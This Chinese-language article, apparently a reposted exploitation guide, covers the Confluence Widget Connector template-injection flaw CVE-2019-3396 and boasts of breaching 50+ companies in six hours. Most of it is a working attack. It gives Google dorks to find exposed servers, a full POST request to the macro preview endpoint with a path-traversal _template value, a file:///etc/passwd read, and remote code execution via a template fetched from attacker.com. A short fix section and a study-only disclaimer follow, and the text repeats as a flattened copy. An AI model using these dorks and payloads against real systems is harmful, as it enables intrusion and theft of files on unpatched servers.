揭秘使用Confluence未授权RCE漏洞在6小时内渗透50+公司
字数 1080 2025-08-18 11:38:36

Confluence Widget Connector 未授权RCE漏洞分析与利用指南

漏洞概述

本漏洞(CVE-2019-3396)影响Confluence Server与Confluence Data Center中的Widget Connector组件,存在服务端模板注入(SSTI)漏洞,可导致目录遍历和远程代码执行(RCE)。攻击者无需认证即可利用此漏洞。

漏洞背景

  • 漏洞发现时间:2019年4月披露
  • 受影响版本:Confluence Server和Data Center多个版本
  • 漏洞组件:Widget Connector宏
  • 漏洞类型:服务端模板注入(SSTI)导致RCE

技术细节

Widget Connector功能

Widget Connector宏用于将外部内容(如YouTube视频、Flickr照片等)直接嵌入到Confluence页面中。支持的平台包括:

  • YouTube
  • Vimeo
  • MySpace Video
  • Flickr
  • Twitter
  • Slide Rocket
  • Google Calendar等

漏洞根源

Widget Connector在处理_template参数时未进行充分过滤,导致攻击者可以控制Velocity模板路径:

public class FriendFeedRenderer implements WidgetRenderer {
    public String getEmbeddedHtml(String url, Map<String, String> params) {
        params.put("_template", "com/atlassian/confluence/extra/widgetconnector/templates/simplejscript.vm");
        return this.velocityRenderService.render(getEmbedUrl(url), params);
    }
}

攻击者可以注入自定义的_template参数,实现:

  1. 目录遍历(读取任意文件)
  2. 服务端模板注入
  3. 最终导致远程代码执行

漏洞复现步骤

1. 识别目标

使用以下Google Dork语法寻找潜在目标:

intitle:dashboard-confluence
inurl:http://confluence. login.action
inurl:https://wiki. .com/confluence/
allinurl:/confluence/login.action?
"/spacedirectory/view.action"
"/pages/viewpage.action?"
"/pages/releaseview.action?"
"aboutconfluencepage.action"

2. 构造攻击请求

使用Burp Suite捕获Confluence页面请求并发送到Repeater模块,修改为以下格式:

POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: confluence.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en-GB;q=0.8,ach;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: https://confluence.victim.com/
Content-Type: application/json;charset=UTF-8
X-Requested-With: XMLHttpRequest
Upgrade-Insecure-Requests: 1
Content-Length: 163
Connection: close

{
    "contentId":"65601",
    "macro":{
        "name":"widget",
        "params":{
            "url":"https://www.youtube.com/watch?v=2aK8hy50fS4",
            "width":"1000",
            "height":"1000",
            "_template":"../web.xml"
        },
        "body":""
    }
}

关键点

  • 必须包含Referer头以避免XSRF检查失败
  • _template参数用于路径遍历(可替换为其他文件路径)
  • 可升级为RCE payload

3. 漏洞利用升级

文件读取

_template参数值改为目标系统文件路径:

"_template":"file:///etc/passwd"

远程代码执行

构造Velocity模板注入payload实现RCE,例如:

"_template":"https://attacker.com/malicious.vm"

修复方案

Atlassian官方修复方案:

  1. 在渲染HTML前调用doSanitizeParameters方法
  2. 此方法会删除参数中的_template字段
  3. 建议用户升级到修复版本

漏洞影响

  • 攻击者可在6小时内渗透50+公司
  • 无需认证即可利用
  • 可导致敏感信息泄露和系统完全控制

参考资源

  1. CVE-2019-3396分析文章
  2. Atlassian安全公告
  3. 原始漏洞报告:Medium文章

注意:本资料仅供学习研究使用,切勿用于非法用途。

Confluence Widget Connector 未授权RCE漏洞分析与利用指南 漏洞概述 本漏洞(CVE-2019-3396)影响Confluence Server与Confluence Data Center中的Widget Connector组件,存在服务端模板注入(SSTI)漏洞,可导致目录遍历和远程代码执行(RCE)。攻击者无需认证即可利用此漏洞。 漏洞背景 漏洞发现时间 :2019年4月披露 受影响版本 :Confluence Server和Data Center多个版本 漏洞组件 :Widget Connector宏 漏洞类型 :服务端模板注入(SSTI)导致RCE 技术细节 Widget Connector功能 Widget Connector宏用于将外部内容(如YouTube视频、Flickr照片等)直接嵌入到Confluence页面中。支持的平台包括: YouTube Vimeo MySpace Video Flickr Twitter Slide Rocket Google Calendar等 漏洞根源 Widget Connector在处理 _template 参数时未进行充分过滤,导致攻击者可以控制Velocity模板路径: 攻击者可以注入自定义的 _template 参数,实现: 目录遍历(读取任意文件) 服务端模板注入 最终导致远程代码执行 漏洞复现步骤 1. 识别目标 使用以下Google Dork语法寻找潜在目标: 2. 构造攻击请求 使用Burp Suite捕获Confluence页面请求并发送到Repeater模块,修改为以下格式: 关键点 : 必须包含 Referer 头以避免XSRF检查失败 _template 参数用于路径遍历(可替换为其他文件路径) 可升级为RCE payload 3. 漏洞利用升级 文件读取 将 _template 参数值改为目标系统文件路径: 远程代码执行 构造Velocity模板注入payload实现RCE,例如: 修复方案 Atlassian官方修复方案: 在渲染HTML前调用 doSanitizeParameters 方法 此方法会删除参数中的 _template 字段 建议用户升级到修复版本 漏洞影响 攻击者可在6小时内渗透50+公司 无需认证即可利用 可导致敏感信息泄露和系统完全控制 参考资源 CVE-2019-3396分析文章 Atlassian安全公告 原始漏洞报告: Medium文章 注意 :本资料仅供学习研究使用,切勿用于非法用途。